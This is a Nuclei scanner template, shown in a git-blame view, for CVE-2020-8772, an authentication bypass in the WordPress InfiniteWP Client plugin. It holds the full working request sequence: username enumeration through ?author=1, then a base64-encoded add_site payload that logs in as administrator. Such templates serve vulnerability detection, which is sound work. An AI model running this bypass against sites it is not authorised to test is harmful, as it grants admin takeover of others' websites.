2022-08-05 15:29:56 +00:00
|
|
|
id: CVE-2020-8772
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: WordPress InfiniteWP Client < 1.9.4.5 - Authentication Bypass
|
2022-08-06 07:05:56 +00:00
|
|
|
author: princechaddha,scent2d
|
2022-08-05 15:29:56 +00:00
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
The InfiniteWP Client plugin before 1.9.4.5 for WordPress has a missing
|
|
|
|
authorization check in iwp_mmb_set_request in init.php. Any attacker who
|
|
|
|
knows the username of an administrator can log in.
|
|
|
|
reference:
|
|
|
|
- https://wpscan.com/vulnerability/10011
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-8772
|
2022-08-06 07:05:56 +00:00
|
|
|
remediation: Upgrade to InfiniteWP Client 1.9.4.5 or higher.
|
2022-08-05 15:29:56 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2022-08-09 19:16:06 +00:00
|
|
|
tags: cve,cve2020,wordpress,wp-plugin,wp,infinitewp,auth-bypass
|
2022-08-05 15:29:56 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
2022-08-06 07:05:56 +00:00
|
|
|
GET /?author=1 HTTP/1.1
|
2022-08-05 15:29:56 +00:00
|
|
|
Host: {{Hostname}}
|
2022-08-06 07:05:56 +00:00
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
|
|
Accept-Language: en-US,en;q=0.9
|
2022-08-05 15:29:56 +00:00
|
|
|
|
|
|
|
- |
|
2022-08-06 07:05:56 +00:00
|
|
|
POST / HTTP/1.1
|
2022-08-05 15:29:56 +00:00
|
|
|
Host: {{Hostname}}
|
2022-08-06 07:05:56 +00:00
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
_IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}
|
2022-08-05 15:29:56 +00:00
|
|
|
|
2022-08-06 07:05:56 +00:00
|
|
|
redirects: true
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: username
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
part: body
|
|
|
|
regex:
|
|
|
|
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
name: username
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
part: header
|
|
|
|
regex:
|
|
|
|
- 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
|
|
|
|
|
|
|
|
matchers-condition: and
|
2022-08-05 15:29:56 +00:00
|
|
|
matchers:
|
2022-08-06 07:05:56 +00:00
|
|
|
- type: word
|
2022-08-09 19:16:06 +00:00
|
|
|
part: header
|
2022-08-06 07:05:56 +00:00
|
|
|
words:
|
|
|
|
- "wordpress_logged_in"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "<IWPHEADER>"
|
|
|
|
|
|
|
|
part: body
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|